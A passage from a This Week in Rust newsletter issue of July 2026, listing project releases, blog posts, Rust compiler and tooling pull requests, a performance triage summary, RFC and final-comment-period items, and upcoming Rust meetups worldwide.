<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
